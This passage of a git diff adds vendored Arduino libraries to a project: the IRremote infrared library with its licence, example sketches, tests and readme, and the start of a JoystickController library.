BLINKLED CORE_LED0_PIN +#define BLINKLED_ON() (digitalWrite(CORE_LED0_PIN, HIGH)) +#define BLINKLED_OFF() (digitalWrite(CORE_LED0_PIN, LOW)) +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define BLINKLED 13 +#define BLINKLED_ON() (PORTB |= B10000000) +#define BLINKLED_OFF() (PORTB &= B01111111) +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define BLINKLED 0 +#define BLINKLED_ON() (PORTD |= B00000001) +#define BLINKLED_OFF() (PORTD &= B11111110) +#else +#define BLINKLED 13 +#define BLINKLED_ON() (PORTB |= B00100000) +#define BLINKLED_OFF() (PORTB &= B11011111) +#endif + +#endif diff --git a/Projects/libraries/Installed_libs/IRRemote/LICENSE.txt b/Projects/libraries/Installed_libs/IRRemote/LICENSE.txt new file mode 100755 index 0000000..77cec6d --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/LICENSE.txt @@ -0,0 +1,458 @@ + + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. 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this is the + * send button. + * A visible LED can be connected to STATUS_PIN to provide status. + * + * The logic is: + * If the button is pressed, send the IR code. + * If an IR code is received, record it. + * + * Version 0.11 September, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + */ + +#include + +int RECV_PIN = 11; +int BUTTON_PIN = 12; +int STATUS_PIN = 13; + +IRrecv irrecv(RECV_PIN); +IRsend irsend; + +decode_results results; + +void setup() +{ + Serial.begin(9600); + irrecv.enableIRIn(); // Start the receiver + pinMode(BUTTON_PIN, INPUT); + pinMode(STATUS_PIN, OUTPUT); +} + +// Storage for the recorded code +int codeType = -1; // The type of code +unsigned long codeValue; // The code value if not raw +unsigned int rawCodes[RAWBUF]; // The durations if raw +int codeLen; // The length of the code +int toggle = 0; // The RC5/6 toggle state + +// Stores the code for later playback +// Most of this code is just logging +void storeCode(decode_results *results) { + codeType = results->decode_type; + int count = results->rawlen; + if (codeType == UNKNOWN) { + Serial.println("Received unknown code, saving as raw"); + codeLen = results->rawlen - 1; + // To store raw codes: + // Drop first value (gap) + // Convert from ticks to microseconds + // Tweak marks shorter, and spaces longer to cancel out IR receiver distortion + for (int i = 1; i <= codeLen; i++) { + if (i % 2) { + // Mark + rawCodes[i - 1] = results->rawbuf[i]*USECPERTICK - MARK_EXCESS; + Serial.print(" m"); + } + else { + // Space + rawCodes[i - 1] = results->rawbuf[i]*USECPERTICK + MARK_EXCESS; + Serial.print(" s"); + } + Serial.print(rawCodes[i - 1], DEC); + } + Serial.println(""); + } + else { + if (codeType == NEC) { + Serial.print("Received NEC: "); + if (results->value == REPEAT) { + // Don't record a NEC repeat value as that's useless. + Serial.println("repeat; ignoring."); + return; + } + } + else if (codeType == SONY) { + Serial.print("Received SONY: "); + } + else if (codeType == RC5) { + Serial.print("Received RC5: "); + } + else if (codeType == RC6) { + Serial.print("Received RC6: "); + } + else { + Serial.print("Unexpected codeType "); + Serial.print(codeType, DEC); + Serial.println(""); + } + Serial.println(results->value, HEX); + codeValue = results->value; + codeLen = results->bits; + } +} + +void sendCode(int repeat) { + if (codeType == NEC) { + if (repeat) { + irsend.sendNEC(REPEAT, codeLen); + Serial.println("Sent NEC repeat"); + } + else { + irsend.sendNEC(codeValue, codeLen); + Serial.print("Sent NEC "); + Serial.println(codeValue, HEX); + } + } + else if (codeType == SONY) { + irsend.sendSony(codeValue, codeLen); + Serial.print("Sent Sony "); + Serial.println(codeValue, HEX); + } + else if (codeType == RC5 || codeType == RC6) { + if (!repeat) { + // Flip the toggle bit for a new button press + toggle = 1 - toggle; + } + // Put the toggle bit into the code to send + codeValue = codeValue & ~(1 << (codeLen - 1)); + codeValue = codeValue | (toggle << (codeLen - 1)); + if (codeType == RC5) { + Serial.print("Sent RC5 "); + Serial.println(codeValue, HEX); + irsend.sendRC5(codeValue, codeLen); + } + else { + irsend.sendRC6(codeValue, codeLen); + Serial.print("Sent RC6 "); + Serial.println(codeValue, HEX); + } + } + else if (codeType == UNKNOWN /* i.e. raw */) { + // Assume 38 KHz + irsend.sendRaw(rawCodes, codeLen, 38); + Serial.println("Sent raw"); + } +} + +int lastButtonState; + +void loop() { + // If button pressed, send the code. + int buttonState = digitalRead(BUTTON_PIN); + if (lastButtonState == HIGH && buttonState == LOW) { + Serial.println("Released"); + irrecv.enableIRIn(); // Re-enable receiver + } + + if (buttonState) { + Serial.println("Pressed, sending"); + digitalWrite(STATUS_PIN, HIGH); + sendCode(lastButtonState == buttonState); + digitalWrite(STATUS_PIN, LOW); + delay(50); // Wait a bit between retransmissions + } + else if (irrecv.decode(&results)) { + digitalWrite(STATUS_PIN, HIGH); + storeCode(&results); + irrecv.resume(); // resume receiver + digitalWrite(STATUS_PIN, LOW); + } + lastButtonState = buttonState; +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDemo/IRrecvDemo.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDemo/IRrecvDemo.ino new file mode 100755 index 0000000..f7b45b8 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDemo/IRrecvDemo.ino @@ -0,0 +1,28 @@ +/* + * IRremote: IRrecvDemo - demonstrates receiving IR codes with IRrecv + * An IR detector/demodulator must be connected to the input RECV_PIN. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + */ + +#include + +int RECV_PIN = 11; + +IRrecv irrecv(RECV_PIN); + +decode_results results; + +void setup() +{ + Serial.begin(9600); + irrecv.enableIRIn(); // Start the receiver +} + +void loop() { + if (irrecv.decode(&results)) { + Serial.println(results.value, HEX); + irrecv.resume(); // Receive the next value + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDump/IRrecvDump.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDump/IRrecvDump.ino new file mode 100755 index 0000000..6afcb0f --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDump/IRrecvDump.ino @@ -0,0 +1,81 @@ +/* + * IRremote: IRrecvDump - dump details of IR codes with IRrecv + * An IR detector/demodulator must be connected to the input RECV_PIN. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ + +#include + +int RECV_PIN = 11; + +IRrecv irrecv(RECV_PIN); + +decode_results results; + +void setup() +{ + Serial.begin(9600); + irrecv.enableIRIn(); // Start the receiver +} + +// Dumps out the decode_results structure. +// Call this after IRrecv::decode() +// void * to work around compiler issue +//void dump(void *v) { +// decode_results *results = (decode_results *)v +void dump(decode_results *results) { + int count = results->rawlen; + if (results->decode_type == UNKNOWN) { + Serial.print("Unknown encoding: "); + } + else if (results->decode_type == NEC) { + Serial.print("Decoded NEC: "); + } + else if (results->decode_type == SONY) { + Serial.print("Decoded SONY: "); + } + else if (results->decode_type == RC5) { + Serial.print("Decoded RC5: "); + } + else if (results->decode_type == RC6) { + Serial.print("Decoded RC6: "); + } + else if (results->decode_type == PANASONIC) { + Serial.print("Decoded PANASONIC - Address: "); + Serial.print(results->panasonicAddress,HEX); + Serial.print(" Value: "); + } + else if (results->decode_type == JVC) { + Serial.print("Decoded JVC: "); + } + Serial.print(results->value, HEX); + Serial.print(" ("); + Serial.print(results->bits, DEC); + Serial.println(" bits)"); + Serial.print("Raw ("); + Serial.print(count, DEC); + Serial.print("): "); + + for (int i = 0; i < count; i++) { + if ((i % 2) == 1) { + Serial.print(results->rawbuf[i]*USECPERTICK, DEC); + } + else { + Serial.print(-(int)results->rawbuf[i]*USECPERTICK, DEC); + } + Serial.print(" "); + } + Serial.println(""); +} + + +void loop() { + if (irrecv.decode(&results)) { + Serial.println(results.value, HEX); + dump(&results); + irrecv.resume(); // Receive the next value + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRrelay/IRrelay.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRrelay/IRrelay.ino new file mode 100755 index 0000000..046fb5f --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRrelay/IRrelay.ino @@ -0,0 +1,85 @@ +/* + * IRremote: IRrecvDemo - demonstrates receiving IR codes with IRrecv + * An IR detector/demodulator must be connected to the input RECV_PIN. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + */ + +#include + +int RECV_PIN = 11; +int RELAY_PIN = 4; + +IRrecv irrecv(RECV_PIN); +decode_results results; + +// Dumps out the decode_results structure. +// Call this after IRrecv::decode() +// void * to work around compiler issue +//void dump(void *v) { +// decode_results *results = (decode_results *)v +void dump(decode_results *results) { + int count = results->rawlen; + if (results->decode_type == UNKNOWN) { + Serial.println("Could not decode message"); + } + else { + if (results->decode_type == NEC) { + Serial.print("Decoded NEC: "); + } + else if (results->decode_type == SONY) { + Serial.print("Decoded SONY: "); + } + else if (results->decode_type == RC5) { + Serial.print("Decoded RC5: "); + } + else if (results->decode_type == RC6) { + Serial.print("Decoded RC6: "); + } + Serial.print(results->value, HEX); + Serial.print(" ("); + Serial.print(results->bits, DEC); + Serial.println(" bits)"); + } + Serial.print("Raw ("); + Serial.print(count, DEC); + Serial.print("): "); + + for (int i = 0; i < count; i++) { + if ((i % 2) == 1) { + Serial.print(results->rawbuf[i]*USECPERTICK, DEC); + } + else { + Serial.print(-(int)results->rawbuf[i]*USECPERTICK, DEC); + } + Serial.print(" "); + } + Serial.println(""); +} + +void setup() +{ + pinMode(RELAY_PIN, OUTPUT); + pinMode(13, OUTPUT); + Serial.begin(9600); + irrecv.enableIRIn(); // Start the receiver +} + +int on = 0; +unsigned long last = millis(); + +void loop() { + if (irrecv.decode(&results)) { + // If it's been at least 1/4 second since the last + // IR received, toggle the relay + if (millis() - last > 250) { + on = !on; + digitalWrite(RELAY_PIN, on ? HIGH : LOW); + digitalWrite(13, on ? HIGH : LOW); + dump(&results); + } + last = millis(); + irrecv.resume(); // Receive the next value + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRsendDemo/IRsendDemo.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRsendDemo/IRsendDemo.ino new file mode 100755 index 0000000..a21af31 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRsendDemo/IRsendDemo.ino @@ -0,0 +1,25 @@ +/* + * IRremote: IRsendDemo - demonstrates sending IR codes with IRsend + * An IR LED must be connected to Arduino PWM pin 3. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + */ + +#include + +IRsend irsend; + +void setup() +{ + Serial.begin(9600); +} + +void loop() { + if (Serial.read() != -1) { + for (int i = 0; i < 3; i++) { + irsend.sendSony(0xa90, 12); // Sony TV power code + delay(40); + } + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRtest/IRtest.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRtest/IRtest.ino new file mode 100755 index 0000000..4845a4a --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRtest/IRtest.ino @@ -0,0 +1,190 @@ +/* + * IRremote: IRtest unittest + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + * + * Note: to run these tests, edit IRremote/IRremote.h to add "#define TEST" + * You must then recompile the library by removing IRremote.o and restarting + * the arduino IDE. + */ + +#include +#include + +// Dumps out the decode_results structure. +// Call this after IRrecv::decode() +// void * to work around compiler issue +//void dump(void *v) { +// decode_results *results = (decode_results *)v +void dump(decode_results *results) { + int count = results->rawlen; + if (results->decode_type == UNKNOWN) { + Serial.println("Could not decode message"); + } + else { + if (results->decode_type == NEC) { + Serial.print("Decoded NEC: "); + } + else if (results->decode_type == SONY) { + Serial.print("Decoded SONY: "); + } + else if (results->decode_type == RC5) { + Serial.print("Decoded RC5: "); + } + else if (results->decode_type == RC6) { + Serial.print("Decoded RC6: "); + } + Serial.print(results->value, HEX); + Serial.print(" ("); + Serial.print(results->bits, DEC); + Serial.println(" bits)"); + } + Serial.print("Raw ("); + Serial.print(count, DEC); + Serial.print("): "); + + for (int i = 0; i < count; i++) { + if ((i % 2) == 1) { + Serial.print(results->rawbuf[i]*USECPERTICK, DEC); + } + else { + Serial.print(-(int)results->rawbuf[i]*USECPERTICK, DEC); + } + Serial.print(" "); + } + Serial.println(""); +} + +IRrecv irrecv(0); +decode_results results; + +class IRsendDummy : +public IRsend +{ +public: + // For testing, just log the marks/spaces +#define SENDLOG_LEN 128 + int sendlog[SENDLOG_LEN]; + int sendlogcnt; + IRsendDummy() : + IRsend() { + } + void reset() { + sendlogcnt = 0; + } + void mark(int time) { + sendlog[sendlogcnt] = time; + if (sendlogcnt < SENDLOG_LEN) sendlogcnt++; + } + void space(int time) { + sendlog[sendlogcnt] = -time; + if (sendlogcnt < SENDLOG_LEN) sendlogcnt++; + } + // Copies the dummy buf into the interrupt buf + void useDummyBuf() { + int last = SPACE; + irparams.rcvstate = STATE_STOP; + irparams.rawlen = 1; // Skip the gap + for (int i = 0 ; i < sendlogcnt; i++) { + if (sendlog[i] < 0) { + if (last == MARK) { + // New space + irparams.rawbuf[irparams.rawlen++] = (-sendlog[i] - MARK_EXCESS) / USECPERTICK; + last = SPACE; + } + else { + // More space + irparams.rawbuf[irparams.rawlen - 1] += -sendlog[i] / USECPERTICK; + } + } + else if (sendlog[i] > 0) { + if (last == SPACE) { + // New mark + irparams.rawbuf[irparams.rawlen++] = (sendlog[i] + MARK_EXCESS) / USECPERTICK; + last = MARK; + } + else { + // More mark + irparams.rawbuf[irparams.rawlen - 1] += sendlog[i] / USECPERTICK; + } + } + } + if (irparams.rawlen % 2) { + irparams.rawlen--; // Remove trailing space + } + } +}; + +IRsendDummy irsenddummy; + +void verify(unsigned long val, int bits, int type) { + irsenddummy.useDummyBuf(); + irrecv.decode(&results); + Serial.print("Testing "); + Serial.print(val, HEX); + if (results.value == val && results.bits == bits && results.decode_type == type) { + Serial.println(": OK"); + } + else { + Serial.println(": Error"); + dump(&results); + } +} + +void testNEC(unsigned long val, int bits) { + irsenddummy.reset(); + irsenddummy.sendNEC(val, bits); + verify(val, bits, NEC); +} +void testSony(unsigned long val, int bits) { + irsenddummy.reset(); + irsenddummy.sendSony(val, bits); + verify(val, bits, SONY); +} +void testRC5(unsigned long val, int bits) { + irsenddummy.reset(); + irsenddummy.sendRC5(val, bits); + verify(val, bits, RC5); +} +void testRC6(unsigned long val, int bits) { + irsenddummy.reset(); + irsenddummy.sendRC6(val, bits); + verify(val, bits, RC6); +} + +void test() { + Serial.println("NEC tests"); + testNEC(0x00000000, 32); + testNEC(0xffffffff, 32); + testNEC(0xaaaaaaaa, 32); + testNEC(0x55555555, 32); + testNEC(0x12345678, 32); + Serial.println("Sony tests"); + testSony(0xfff, 12); + testSony(0x000, 12); + testSony(0xaaa, 12); + testSony(0x555, 12); + testSony(0x123, 12); + Serial.println("RC5 tests"); + testRC5(0xfff, 12); + testRC5(0x000, 12); + testRC5(0xaaa, 12); + testRC5(0x555, 12); + testRC5(0x123, 12); + Serial.println("RC6 tests"); + testRC6(0xfffff, 20); + testRC6(0x00000, 20); + testRC6(0xaaaaa, 20); + testRC6(0x55555, 20); + testRC6(0x12345, 20); +} + +void setup() +{ + Serial.begin(9600); + test(); +} + +void loop() { +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRtest2/IRtest2.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRtest2/IRtest2.ino new file mode 100755 index 0000000..56b8a4d --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRtest2/IRtest2.ino @@ -0,0 +1,290 @@ +/* + * Test send/receive functions of IRremote, using a pair of Arduinos. + * + * Arduino #1 should have an IR LED connected to the send pin (3). + * Arduino #2 should have an IR detector/demodulator connected to the + * receive pin (11) and a visible LED connected to pin 3. + * + * The cycle: + * Arduino #1 will wait 2 seconds, then run through the tests. + * It repeats this forever. + * Arduino #2 will wait for at least one second of no signal + * (to synchronize with #1). It will then wait for the same test + * signals. It will log all the status to the serial port. It will + * also indicate status through the LED, which will flash each time a test + * is completed. If there is an error, it will light up for 5 seconds. + * + * The test passes if the LED flashes 19 times, pauses, and then repeats. + * The test fails if the LED lights for 5 seconds. + * + * The test software automatically decides which board is the sender and which is + * the receiver by looking for an input on the send pin, which will indicate + * the sender. You should hook the serial port to the receiver for debugging. + * + * Copyright 2010 Ken Shirriff + * http://arcfn.com + */ + +#include + +int RECV_PIN = 11; +int LED_PIN = 3; + +IRrecv irrecv(RECV_PIN); +IRsend irsend; + +decode_results results; + +#define RECEIVER 1 +#define SENDER 2 +#define ERROR 3 + +int mode; + +void setup() +{ + Serial.begin(9600); + // Check RECV_PIN to decide if we're RECEIVER or SENDER + if (digitalRead(RECV_PIN) == HIGH) { + mode = RECEIVER; + irrecv.enableIRIn(); + pinMode(LED_PIN, OUTPUT); + digitalWrite(LED_PIN, LOW); + Serial.println("Receiver mode"); + } + else { + mode = SENDER; + Serial.println("Sender mode"); + } +} + +// Wait for the gap between tests, to synchronize with +// the sender. +// Specifically, wait for a signal followed by a gap of at last gap ms. +void waitForGap(int gap) { + Serial.println("Waiting for gap"); + while (1) { + while (digitalRead(RECV_PIN) == LOW) { + } + unsigned long time = millis(); + while (digitalRead(RECV_PIN) == HIGH) { + if (millis() - time > gap) { + return; + } + } + } +} + +// Dumps out the decode_results structure. +// Call this after IRrecv::decode() +void dump(decode_results *results) { + int count = results->rawlen; + if (results->decode_type == UNKNOWN) { + Serial.println("Could not decode message"); + } + else { + if (results->decode_type == NEC) { + Serial.print("Decoded NEC: "); + } + else if (results->decode_type == SONY) { + Serial.print("Decoded SONY: "); + } + else if (results->decode_type == RC5) { + Serial.print("Decoded RC5: "); + } + else if (results->decode_type == RC6) { + Serial.print("Decoded RC6: "); + } + Serial.print(results->value, HEX); + Serial.print(" ("); + Serial.print(results->bits, DEC); + Serial.println(" bits)"); + } + Serial.print("Raw ("); + Serial.print(count, DEC); + Serial.print("): "); + + for (int i = 0; i < count; i++) { + if ((i % 2) == 1) { + Serial.print(results->rawbuf[i]*USECPERTICK, DEC); + } + else { + Serial.print(-(int)results->rawbuf[i]*USECPERTICK, DEC); + } + Serial.print(" "); + } + Serial.println(""); +} + + +// Test send or receive. +// If mode is SENDER, send a code of the specified type, value, and bits +// If mode is RECEIVER, receive a code and verify that it is of the +// specified type, value, and bits. For success, the LED is flashed; +// for failure, the mode is set to ERROR. +// The motivation behind this method is that the sender and the receiver +// can do the same test calls, and the mode variable indicates whether +// to send or receive. +void test(char *label, int type, unsigned long value, int bits) { + if (mode == SENDER) { + Serial.println(label); + if (type == NEC) { + irsend.sendNEC(value, bits); + } + else if (type == SONY) { + irsend.sendSony(value, bits); + } + else if (type == RC5) { + irsend.sendRC5(value, bits); + } + else if (type == RC6) { + irsend.sendRC6(value, bits); + } + else { + Serial.print(label); + Serial.println("Bad type!"); + } + delay(200); + } + else if (mode == RECEIVER) { + irrecv.resume(); // Receive the next value + unsigned long max_time = millis() + 30000; + Serial.print(label); + + // Wait for decode or timeout + while (!irrecv.decode(&results)) { + if (millis() > max_time) { + Serial.println("Timeout receiving data"); + mode = ERROR; + return; + } + } + if (type == results.decode_type && value == results.value && bits == results.bits) { + Serial.println (": OK"); + digitalWrite(LED_PIN, HIGH); + delay(20); + digitalWrite(LED_PIN, LOW); + } + else { + Serial.println(": BAD"); + dump(&results); + mode = ERROR; + } + } +} + +// Test raw send or receive. This is similar to the test method, +// except it send/receives raw data. +void testRaw(char *label, unsigned int *rawbuf, int rawlen) { + if (mode == SENDER) { + Serial.println(label); + irsend.sendRaw(rawbuf, rawlen, 38 /* kHz */); + delay(200); + } + else if (mode == RECEIVER ) { + irrecv.resume(); // Receive the next value + unsigned long max_time = millis() + 30000; + Serial.print(label); + + // Wait for decode or timeout + while (!irrecv.decode(&results)) { + if (millis() > max_time) { + Serial.println("Timeout receiving data"); + mode = ERROR; + return; + } + } + + // Received length has extra first element for gap + if (rawlen != results.rawlen - 1) { + Serial.print("Bad raw length "); + Serial.println(results.rawlen, DEC); + mode = ERROR; + return; + } + for (int i = 0; i < rawlen; i++) { + long got = results.rawbuf[i+1] * USECPERTICK; + // Adjust for extra duration of marks + if (i % 2 == 0) { + got -= MARK_EXCESS; + } + else { + got += MARK_EXCESS; + } + // See if close enough, within 25% + if (rawbuf[i] * 1.25 < got || got * 1.25 < rawbuf[i]) { + Serial.println(": BAD"); + dump(&results); + mode = ERROR; + return; + } + + } + Serial.println (": OK"); + digitalWrite(LED_PIN, HIGH); + delay(20); + digitalWrite(LED_PIN, LOW); + } +} + +// This is the raw data corresponding to NEC 0x12345678 +unsigned int sendbuf[] = { /* NEC format */ + 9000, 4500, + 560, 560, 560, 560, 560, 560, 560, 1690, /* 1 */ + 560, 560, 560, 560, 560, 1690, 560, 560, /* 2 */ + 560, 560, 560, 560, 560, 1690, 560, 1690, /* 3 */ + 560, 560, 560, 1690, 560, 560, 560, 560, /* 4 */ + 560, 560, 560, 1690, 560, 560, 560, 1690, /* 5 */ + 560, 560, 560, 1690, 560, 1690, 560, 560, /* 6 */ + 560, 560, 560, 1690, 560, 1690, 560, 1690, /* 7 */ + 560, 1690, 560, 560, 560, 560, 560, 560, /* 8 */ + 560}; + +void loop() { + if (mode == SENDER) { + delay(2000); // Delay for more than gap to give receiver a better chance to sync. + } + else if (mode == RECEIVER) { + waitForGap(1000); + } + else if (mode == ERROR) { + // Light up for 5 seconds for error + digitalWrite(LED_PIN, HIGH); + delay(5000); + digitalWrite(LED_PIN, LOW); + mode = RECEIVER; // Try again + return; + } + + // The test suite. + test("SONY1", SONY, 0x123, 12); + test("SONY2", SONY, 0x000, 12); + test("SONY3", SONY, 0xfff, 12); + test("SONY4", SONY, 0x12345, 20); + test("SONY5", SONY, 0x00000, 20); + test("SONY6", SONY, 0xfffff, 20); + test("NEC1", NEC, 0x12345678, 32); + test("NEC2", NEC, 0x00000000, 32); + test("NEC3", NEC, 0xffffffff, 32); + test("NEC4", NEC, REPEAT, 32); + test("RC51", RC5, 0x12345678, 32); + test("RC52", RC5, 0x0, 32); + test("RC53", RC5, 0xffffffff, 32); + test("RC61", RC6, 0x12345678, 32); + test("RC62", RC6, 0x0, 32); + test("RC63", RC6, 0xffffffff, 32); + + // Tests of raw sending and receiving. + // First test sending raw and receiving raw. + // Then test sending raw and receiving decoded NEC + // Then test sending NEC and receiving raw + testRaw("RAW1", sendbuf, 67); + if (mode == SENDER) { + testRaw("RAW2", sendbuf, 67); + test("RAW3", NEC, 0x12345678, 32); + } + else { + test("RAW2", NEC, 0x12345678, 32); + testRaw("RAW3", sendbuf, 67); + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/JVCPanasonicSendDemo/JVCPanasonicSendDemo.ino b/Projects/libraries/Installed_libs/IRRemote/examples/JVCPanasonicSendDemo/JVCPanasonicSendDemo.ino new file mode 100755 index 0000000..33c167c --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/JVCPanasonicSendDemo/JVCPanasonicSendDemo.ino @@ -0,0 +1,29 @@ +/* + * IRremote: IRsendDemo - demonstrates sending IR codes with IRsend + * An IR LED must be connected to Arduino PWM pin 3. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ +#include + +#define PanasonicAddress 0x4004 // Panasonic address (Pre data) +#define PanasonicPower 0x100BCBD // Panasonic Power button + +#define JVCPower 0xC5E8 + +IRsend irsend; + +void setup() +{ +} + +void loop() { + irsend.sendPanasonic(PanasonicAddress,PanasonicPower); // This should turn your TV on and off + + irsend.sendJVC(JVCPower, 16,0); // hex value, 16 bits, no repeat + delayMicroseconds(50); // see http://www.sbprojects.com/knowledge/ir/jvc.php for information + irsend.sendJVC(JVCPower, 16,1); // hex value, 16 bits, repeat + delayMicroseconds(50); +} diff --git a/Projects/libraries/Installed_libs/IRRemote/keywords.txt b/Projects/libraries/Installed_libs/IRRemote/keywords.txt new file mode 100755 index 0000000..74010c4 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/keywords.txt @@ -0,0 +1,50 @@ +####################################### +# Syntax Coloring Map For IRremote +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### + +decode_results KEYWORD1 +IRrecv KEYWORD1 +IRsend KEYWORD1 + +####################################### +# Methods and Functions (KEYWORD2) +####################################### + +blink13 KEYWORD2 +decode KEYWORD2 +enableIRIn KEYWORD2 +resume KEYWORD2 +enableIROut KEYWORD2 +sendNEC KEYWORD2 +sendSony KEYWORD2 +sendSanyo KEYWORD2 +sendMitsubishi KEYWORD2 +sendRaw KEYWORD2 +sendRC5 KEYWORD2 +sendRC6 KEYWORD2 +sendDISH KEYWORD2 +sendSharp KEYWORD2 +sendPanasonic KEYWORD2 +sendJVC KEYWORD2 + +# +####################################### +# Constants (LITERAL1) +####################################### + +NEC LITERAL1 +SONY LITERAL1 +SANYO LITERAL1 +MITSUBISHI LITERAL1 +RC5 LITERAL1 +RC6 LITERAL1 +DISH LITERAL1 +SHARP LITERAL1 +PANASONIC LITERAL1 +JVC LITERAL1 +UNKNOWN LITERAL1 +REPEAT LITERAL1 \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/IRRemote/readme b/Projects/libraries/Installed_libs/IRRemote/readme new file mode 100755 index 0000000..3de6526 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/readme @@ -0,0 +1,14 @@ +This is the IRremote library for the Arduino. + +To download from github (http://github.com/shirriff/Arduino-IRremote), click on the "Downloads" link in the upper right, click "Download as zip", and get a zip file. Unzip it and rename the directory shirriff-Arduino-IRremote-nnn to IRremote + +To install, move the downloaded IRremote directory to: +arduino-1.x/libraries/IRremote +where arduino-1.x is your Arduino installation directory + +After installation you should have files such as: +arduino-1.x/libraries/IRremote/IRremote.cpp + +For details on the library see the Wiki on github or the blog post http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.html + +Copyright 2009-2012 Ken Shirriff diff --git a/Projects/libraries/Installed_libs/JoystickController/.gitignore b/Projects/libraries/Installed_libs/JoystickController/.gitignore new file mode 100755 index 0000000..496ee2c --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/.gitignore @@ -0,0 +1 @@ +.DS_Store \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/JoystickController/Examples/a019_JoystickController/a019_JoystickController.ino b/Projects/libraries/Installed_libs/JoystickController/Examples/a019_JoystickController/a019_JoystickController.ino new file mode 100755 index 0000000..ab6992f --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/Examples/a019_JoystickController/a019_JoystickController.ino @@ -0,0 +1,62 @@ +#include "JoystickController.h" + +JoystickController controller; + +void setup(){ + Serial.begin(9600); +} + +void loop(){ + controller.update(); + + if (controller.selectButtonPressed()){ + Serial.println("S"); + } + + if (controller.upButtonPressed()){ + Serial.println("U"); + } + + if (controller.downButtonPressed()){ + Serial.println("D"); + } + + if (controller.leftButtonPressed()){ + Serial.println("L"); + } + + if (controller.rightButtonPressed()){ + Serial.println("R"); + } + + int direct = controller.getDirection(); + + switch (direct){ + case JoystickController::DIRECTION_UP: + Serial.println("UP"); + break; + case JoystickController::DIRECTION_UP_RIGHT: + Serial.println("UP-RIGHT"); + break; + case JoystickController::DIRECTION_RIGHT: + Serial.println("RIGHT"); + break; + case JoystickController::DIRECTION_DOWN_RIGHT: + Serial.println("DOWN-RIGHT"); + break; + case JoystickController::DIRECTION_DOWN: + Serial.println("DOWN"); + break; + case JoystickController::DIRECTION_DOWN_LEFT: + Serial.println("DOWN-LEFT"); + break; + case JoystickController::DIRECTION_LEFT: + Serial.println("LEFT"); + break; + case JoystickController::DIRECTION_UP_LEFT: + Serial.println("UP-LEFT"); + break; + } + + delay(100); +} diff --git a/Projects/libraries/Installed_libs/JoystickController/JoystickController.cpp b/Projects/libraries/Installed_libs/JoystickController/JoystickController.cpp new file mode 100755 index 0000000..23c0507 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/JoystickController.cpp @@ -0,0 +1,184 @@ +#include "Arduino.h" +#include "JoystickController.h" + +enum PINS{ + PIN_ANALOG_X = 0, + PIN_ANALOG_Y = 1, + PIN_BUTTON_SELECT = 2, + PIN_BUTTON_UP = 4, + PIN_BUTTON_DOWN = 5, + PIN_BUTTON_LEFT = 6, + PIN_BUTTON_RIGHT = 3 +}; + +JoystickController::JoystickController(int low, int high){ + _threshouldLow = low; + _threshouldHigh = high; + this->_setup(); +} + +void JoystickController::update(){ + this->_reset(); + this->_updateDirection(); + this->_updateButtons(); +} + +int JoystickController::getDirection(){ + return _direction; +} + +bool JoystickController::selectButtonPressed(){ + return _selectButtonPressed; +} + +bool JoystickController::upButtonPressed(){ + return _upButtonPressed; +} + +bool JoystickController::downButtonPressed(){ + return _downButtonPressed; +} + +bool JoystickController::leftButtonPressed(){ + return _leftButtonPressed; +} + +bool JoystickController::rightButtonPressed(){ + return _rightButtonPressed; +} + +/** + * Protected. + */ +void JoystickController::_reset(){ + _direction = DIRECTION_NONE; + _selectButtonPressed = false; + _upButtonPressed = false; + _downButtonPressed = false; + _leftButtonPressed = false; + _rightButtonPressed = false; +} + +/** + * Protected. + */ +void JoystickController::_setup(){ + pinMode(PIN_BUTTON_SELECT, INPUT); + digitalWrite(PIN_BUTTON_SELECT, HIGH); + 